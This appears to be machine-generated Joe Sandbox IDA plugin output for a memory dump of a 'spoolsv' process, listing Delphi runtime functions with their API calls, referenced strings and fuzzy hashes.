Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: Version
String ID:
API String ID: 1889659487-0
Opcode ID: 1d7bbda1e43a5cd99077805af796830e30508bcc79f24233d73ce0d6a8fa654a
Instruction ID: ded53c970a950e66d46fecff241b851874ced05ce38db4d2dac81a5a5cbaba93
Opcode Fuzzy Hash: 1d7bbda1e43a5cd99077805af796830e30508bcc79f24233d73ce0d6a8fa654a
Instruction Fuzzy Hash: A3F0DA78A443129FD350DF28D580F1577E5FB49B54F804969E89CC7390EB389418CF52

Function 02B2A798 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLocaleInfoA.KERNEL32(00000000,0000000F,?,00000002,0000002C,?,?,00000000,02B2BDFA,00000000,02B2C013,?,?,00000000,00000000), ref: 02B2A7AB

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 23fe133b6f3189abf78f0258856cb74c0ef8cfe774ed9d6b2b97d20fe01198e3
Instruction ID: b8ff15bd3f31c9c69adee13f8d4df7ed8b7636dc634aee7ed022388427aa5d8c
Opcode Fuzzy Hash: 23fe133b6f3189abf78f0258856cb74c0ef8cfe774ed9d6b2b97d20fe01198e3
Instruction Fuzzy Hash: 2AD05EB630E3702AA220515A2D94DBB6AECCBC97A1F0084BEF54CC6250D2008C0A96B5

Function 02B29194 Relevance: 1.5, APIs: 1, Instructions: 6timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32 ref: 02B29198

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: LocalTime
String ID:
API String ID: 481472006-0
Opcode ID: b1eecd68d2e37ad01dc8be627e7f9539d8c1b79e2157fe00e2d627bfaf393da5
Instruction ID: 2172b8c1bf90d8fd47c673e84136d5d5999d84b6ffb7ec30655d161e2957ab61
Opcode Fuzzy Hash: b1eecd68d2e37ad01dc8be627e7f9539d8c1b79e2157fe00e2d627bfaf393da5
Instruction Fuzzy Hash: 8EA0121040483001854037180C0217531445900620FC40FC068FC503D0ED1D012440D3

Function 02B4D596 Relevance: .2, Instructions: 216COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0f56f3054fdfae3a9e0b757889bd925eef135c19a792c03671ae923f9a3e3bd2
Instruction ID: abdc6379b229dd3eb8d3086f0a6927463cee8b6a421fe5a3d55f6da87c7db522
Opcode Fuzzy Hash: 0f56f3054fdfae3a9e0b757889bd925eef135c19a792c03671ae923f9a3e3bd2
Instruction Fuzzy Hash: 9A515FE64193C24FC7635F7494D62C23FA1ED6322874A16DAC8E08F2A7E619494BDF21

Function 02B220C4 Relevance: .1, Instructions: 94COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction ID: d9ca5c35b085eece62e9f9345e2df5b5b2dbbbf6d6fdc43b5a6e4acac797e09a
Opcode Fuzzy Hash: b6d55ffda06be9354f45c85752ae1684c48c89628f5d423d6395e0bf3078b847
Instruction Fuzzy Hash: 44317E3213659B4EC7088B3CC8514ADAB93BE937353A843B7C071CB5D7D7B5A26E8290

Function 02B2D21C Relevance: 42.1, APIs: 1, Strings: 23, Instructions: 141COMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(oleaut32.dll), ref: 02B2D225

Part of subcall function 02B2D1F0: GetProcAddress.KERNEL32(00000000), ref: 02B2D209

Strings

VarOr, xrefs: 02B2D30F
VarR8FromStr, xrefs: 02B2D37D
VarNeg, xrefs: 02B2D249
VarCmp, xrefs: 02B2D33B
VarDiv, xrefs: 02B2D2B7
VarAnd, xrefs: 02B2D2F9
VarBstrFromBool, xrefs: 02B2D401
VarR4FromStr, xrefs: 02B2D367
VarSub, xrefs: 02B2D28B
VarAdd, xrefs: 02B2D275
VarBstrFromDate, xrefs: 02B2D3EB
VarNot, xrefs: 02B2D25F
VarCyFromStr, xrefs: 02B2D3A9
VarIdiv, xrefs: 02B2D2CD
VarBstrFromCy, xrefs: 02B2D3D5
VarMul, xrefs: 02B2D2A1
VarDateFromStr, xrefs: 02B2D393
VarI4FromStr, xrefs: 02B2D351
VariantChangeTypeEx, xrefs: 02B2D233
VarXor, xrefs: 02B2D325
VarBoolFromStr, xrefs: 02B2D3BF
oleaut32.dll, xrefs: 02B2D220
VarMod, xrefs: 02B2D2E3

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: VarAdd$VarAnd$VarBoolFromStr$VarBstrFromBool$VarBstrFromCy$VarBstrFromDate$VarCmp$VarCyFromStr$VarDateFromStr$VarDiv$VarI4FromStr$VarIdiv$VarMod$VarMul$VarNeg$VarNot$VarOr$VarR4FromStr$VarR8FromStr$VarSub$VarXor$VariantChangeTypeEx$oleaut32.dll
API String ID: 1646373207-1918263038
Opcode ID: 1b0b86f5c357f3b32760d5adc262c4556f1ebbf220223858cc0fbfdef1a1eecf
Instruction ID: fa8d22e7a849ef73e9b282572333919b4a6fe78173c09bfd3dd1bbc5d3788364
Opcode Fuzzy Hash: 1b0b86f5c357f3b32760d5adc262c4556f1ebbf220223858cc0fbfdef1a1eecf
Instruction Fuzzy Hash: A0416C63A953365E1208AF6D780002B7BDAD79839037045DAB05CCBB45DE30BC9E8E2E

Function 02B36E60 Relevance: 24.5, APIs: 7, Strings: 7, Instructions: 32libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleA.KERNEL32(ole32.dll), ref: 02B36E66
GetProcAddress.KERNEL32(00000000,CoCreateInstanceEx), ref: 02B36E77
GetProcAddress.KERNEL32(00000000,CoInitializeEx), ref: 02B36E87
GetProcAddress.KERNEL32(00000000,CoAddRefServerProcess), ref: 02B36E97
GetProcAddress.KERNEL32(00000000,CoReleaseServerProcess), ref: 02B36EA7
GetProcAddress.KERNEL32(00000000,CoResumeClassObjects), ref: 02B36EB7
GetProcAddress.KERNEL32(00000002), ref: 02B36EC7

Strings

CoReleaseServerProcess, xrefs: 02B36EA1
ole32.dll, xrefs: 02B36E61
CoSuspendClassObjects, xrefs: 02B36EC1
CoAddRefServerProcess, xrefs: 02B36E91
CoResumeClassObjects, xrefs: 02B36EB1
CoInitializeEx, xrefs: 02B36E81
CoCreateInstanceEx, xrefs: 02B36E71

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: CoAddRefServerProcess$CoCreateInstanceEx$CoInitializeEx$CoReleaseServerProcess$CoResumeClassObjects$CoSuspendClassObjects$ole32.dll
API String ID: 667068680-2233174745
Opcode ID: 4f561ca58af776411ae1bfbf499db2bea7daa49d556d18dc4f8b902dd4bdfb63
Instruction ID: d7fce8a466dabf13bea27f2badd79a2f773f3a2bd86deaa9116b3b838301fef6
Opcode Fuzzy Hash: 4f561ca58af776411ae1bfbf499db2bea7daa49d556d18dc4f8b902dd4bdfb63
Instruction Fuzzy Hash: E9F0C0B5A8D3727EB3137F709CC18673BDDA70074470019E6761A96A12DAB4C81C4F68

Function 02B22530 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 254windowCOMMON

Download Yara Rule

APIs

MessageBoxA.USER32(00000000,?,Unexpected Memory Leak,00002010), ref: 02B228CE

Strings

, xrefs: 02B22814
Unexpected Memory Leak, xrefs: 02B228C0
An unexpected memory leak has occurred. , xrefs: 02B22690
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02B22849
bytes: , xrefs: 02B2275D
7, xrefs: 02B226A1
Unknown, xrefs: 02B2278C
String, xrefs: 02B227A1
The unexpected small block leaks are:, xrefs: 02B22707

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: Message
String ID: $ bytes: $7$An unexpected memory leak has occurred. $String$The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak$Unknown
API String ID: 2030045667-32948583
Opcode ID: 30f2382ea7ac69a246c6190321eefd1c97b25157a34f9ba4d3c5bfee8643d1eb
Instruction ID: ef074bb8b2e0ef6134537f12044adc3609150cac9be9238bd9d79d37fc45beac
Opcode Fuzzy Hash: 30f2382ea7ac69a246c6190321eefd1c97b25157a34f9ba4d3c5bfee8643d1eb
Instruction Fuzzy Hash: 6AA1B131A043788BDB21AA2CCC84B99B6E5EB09350F1441E5ED4DEB386CB7599CECF51

Function 02B2252E Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 188COMMON

Download Yara Rule

Strings

, xrefs: 02B22814
Unexpected Memory Leak, xrefs: 02B228C0
An unexpected memory leak has occurred. , xrefs: 02B22690
The sizes of unexpected leaked medium and large blocks are: , xrefs: 02B22849
bytes: , xrefs: 02B2275D
7, xrefs: 02B226A1
The unexpected small block leaks are:, xrefs: 02B22707

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID:
String ID: $ bytes: $7$An unexpected memory leak has occurred. $The sizes of unexpected leaked medium and large blocks are: $The unexpected small block leaks are:$Unexpected Memory Leak
API String ID: 0-2723507874
Opcode ID: f2983cb85add3d6b13230e4230c5e30f00bd3d797609e6ccf031857a607d5b37
Instruction ID: 52f48dc29ee7f02ac22b639924af9f6a8f66314d1e7bdd7a70e2c2592ca10a98
Opcode Fuzzy Hash: f2983cb85add3d6b13230e4230c5e30f00bd3d797609e6ccf031857a607d5b37
Instruction Fuzzy Hash: 5D719230A043788FDB21AA2CCC84BD9BAE5EB09754F1041E5D94DEB281DB759AC9CF51

Function 02B2BD48 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201threadCOMMON

Download Yara Rule

APIs

GetThreadLocale.KERNEL32(00000000,02B2C013,?,?,00000000,00000000), ref: 02B2BD7E

Part of subcall function 02B2A74C: GetLocaleInfoA.KERNEL32(?,?,?,00000100), ref: 02B2A76A

Strings

AMPM, xrefs: 02B2BF92
:mm:ss, xrefs: 02B2BFCE
m/d/yy, xrefs: 02B2BE4D
AMPM , xrefs: 02B2BFA1
mmmm d, yyyy, xrefs: 02B2BE7A
:mm, xrefs: 02B2BFB1

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: Locale$InfoThread
String ID: AMPM$:mm$:mm:ss$AMPM $m/d/yy$mmmm d, yyyy
API String ID: 4232894706-2493093252
Opcode ID: c168e91f6bb4268ebd73dcd8150f1719985f96eb0cb742bf9bf5f0482046a028
Instruction ID: 5e498b7573639faf26b5cb8028c615a480f316ce3c9487d8f80047590d408225
Opcode Fuzzy Hash: c168e91f6bb4268ebd73dcd8150f1719985f96eb0cb742bf9bf5f0482046a028
Instruction Fuzzy Hash: 3C617035B003689BDB00FBA4DC90A9F77BBDF49340F5198F5A108AB651CA34D90D8B69

Function 02B3AE20 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 102COMMON

Download Yara Rule

APIs

IsBadReadPtr.KERNEL32(?,00000004), ref: 02B3AE40
GetModuleHandleW.KERNEL32(KernelBase,LoadLibraryExA,?,00000004,?,00000014), ref: 02B3AE57
IsBadReadPtr.KERNEL32(?,00000004), ref: 02B3AEEB
IsBadReadPtr.KERNEL32(?,00000002), ref: 02B3AEF7
IsBadReadPtr.KERNEL32(?,00000014), ref: 02B3AF0B

Strings

LoadLibraryExA, xrefs: 02B3AE4D
KernelBase, xrefs: 02B3AE52

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: Read$HandleModule
String ID: KernelBase$LoadLibraryExA
API String ID: 2226866862-113032527
Opcode ID: db0f4b1871a2128a498c280d792da06bce7148c808bca3401c0cd4c9475171f6
Instruction ID: 6156d26e41fd9e59d9dea58da5138f76494848f852c6256bfb0303f022dff86f
Opcode Fuzzy Hash: db0f4b1871a2128a498c280d792da06bce7148c808bca3401c0cd4c9475171f6
Instruction Fuzzy Hash: 7B3162B2A40314BBDB12DF68CC85F9977A8EF05714F204194FA98EB280D374A950CBA5

Function 02B2432C Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 38filewindowCOMMON

Download Yara Rule

APIs

GetStdHandle.KERNEL32(000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02B243F3,?,?,02B807C8,?,?,02B4D7A8,02B2655D,02B4C30D), ref: 02B24365
WriteFile.KERNEL32(00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02B243F3,?,?,02B807C8,?,?,02B4D7A8,02B2655D,02B4C30D), ref: 02B2436B
GetStdHandle.KERNEL32(000000F5,02B243B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02B243F3,?,?,02B807C8), ref: 02B24380
WriteFile.KERNEL32(00000000,000000F5,02B243B4,00000002,?,00000000,00000000,000000F5,Runtime error at 00000000,0000001E,?,00000000,?,02B243F3,?,?), ref: 02B24386
MessageBoxA.USER32(00000000,Runtime error at 00000000,Error,00000000), ref: 02B243A4

Strings

Error, xrefs: 02B24398
Runtime error at 00000000, xrefs: 02B2435E, 02B2439D

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: FileHandleWrite$Message
String ID: Error$Runtime error at 00000000
API String ID: 1570097196-2970929446
Opcode ID: 0deee3a5155c4083fa1bbfa134a053316d06f40084b134b2908d8d2749303e7e
Instruction ID: 307a2fde8b0f9d07f7b8676dad534f2884633019e781f05f1b82ac8d85953777
Opcode Fuzzy Hash: 0deee3a5155c4083fa1bbfa134a053316d06f40084b134b2908d8d2749303e7e
Instruction Fuzzy Hash: 7BF02B71AD033074F710A7646D46F59276C4B05F55F104AD4F23C994D18BB490CCDB26

Function 02B2AE4C Relevance: 10.6, APIs: 7, Instructions: 56filewindowCOMMON

Download Yara Rule

APIs

Part of subcall function 02B2ACC4: VirtualQuery.KERNEL32(?,?,0000001C), ref: 02B2ACE1
Part of subcall function 02B2ACC4: GetModuleFileNameA.KERNEL32(?,?,00000105), ref: 02B2AD05
Part of subcall function 02B2ACC4: GetModuleFileNameA.KERNEL32(02B20000,?,00000105), ref: 02B2AD20
Part of subcall function 02B2ACC4: LoadStringA.USER32(00000000,0000FFE9,?,00000100), ref: 02B2ADB6

CharToOemA.USER32(?,?), ref: 02B2AE83
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000,?,?), ref: 02B2AEA0
WriteFile.KERNEL32(00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02B2AEA6
GetStdHandle.KERNEL32(000000F4,02B2AF10,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02B2AEBB
WriteFile.KERNEL32(00000000,000000F4,02B2AF10,00000002,?,00000000,00000000,000000F4,?,00000000,?,00000000,?,?), ref: 02B2AEC1
LoadStringA.USER32(00000000,0000FFEA,?,00000040), ref: 02B2AEE3
MessageBoxA.USER32(00000000,?,?,00002010), ref: 02B2AEF9

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: File$HandleLoadModuleNameStringWrite$CharMessageQueryVirtual
String ID:
API String ID: 185507032-0
Opcode ID: efd2c5888a41ad47375ea85121990330881d917d058ccea574fa122897c21dc8
Instruction ID: af0659d30ced3008812e31aae4b7f2e04200818df9295ec73722d3bb0d1541d5
Opcode Fuzzy Hash: efd2c5888a41ad47375ea85121990330881d917d058ccea574fa122897c21dc8
Instruction Fuzzy Hash: 9B1170B25443547AD201FB94DC80F9B77EEAB44700F40099AB75CD70E0DA70E94C8F26

Function 02B2E514 Relevance: 9.1, APIs: 6, Instructions: 139COMMON

Download Yara Rule

APIs

SafeArrayGetLBound.OLEAUT32(?,00000001,?), ref: 02B2E5AD
SafeArrayGetUBound.OLEAUT32(?,00000001,?), ref: 02B2E5C9
SafeArrayCreate.OLEAUT32(0000000C,?,?), ref: 02B2E602
SafeArrayPtrOfIndex.OLEAUT32(?,?,?), ref: 02B2E67F
SafeArrayPtrOfIndex.OLEAUT32(00000000,?,?), ref: 02B2E698
VariantCopy.OLEAUT32(?,00000000), ref: 02B2E6CD

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: ArraySafe$BoundIndex$CopyCreateVariant
String ID:
API String ID: 351091851-0
Opcode ID: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction ID: 7e6eda4f5ff4297ab5b1269a15252b9d57f392023d5c303bb5c8731c489f1271
Opcode Fuzzy Hash: a9a696700a5c398af6b49de9a61da99d4f96f00f59c5a2cf8b5ab96da2f16d4b
Instruction Fuzzy Hash: E351B575A0073A9BCB22EB59C880BD9B3BDAF4D300F4442D5E50DA7246D630EF898F65

Function 02B23568 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 49registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02B2358A
RegQueryValueExA.ADVAPI32(?,FPUMaskValue,00000000,00000000,?,00000004,00000000,02B235D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02B235BD
RegCloseKey.ADVAPI32(?,02B235E0,00000000,?,00000004,00000000,02B235D9,?,80000002,SOFTWARE\Borland\Delphi\RTL,00000000,00000001,?), ref: 02B235D3

Strings

SOFTWARE\Borland\Delphi\RTL, xrefs: 02B23580
FPUMaskValue, xrefs: 02B235B4

Memory Dump Source

Source File: 00000005.00000002.2516090623.0000000002B21000.00000020.00001000.00020000.00000000.sdmp, Offset: 02B20000, based on PE: true

Associated: 00000005.00000002.2516035825.0000000002B20000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B4D000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516197158.0000000002B7E000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002B81000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C76000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000005.00000002.2516349983.0000000002C78000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2b20000_spoolsv.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: FPUMaskValue$SOFTWARE\Borland\Delphi\RTL
API String ID: 3677997916-4173385793
Opcode ID: b5e316522baf2860815bfe892ef7778b04a6ec91f882216649677726fa1e674a
Instruction ID: f060609930730e8b638e9741eb05c7260813a215267a686851b9cb279585f51c
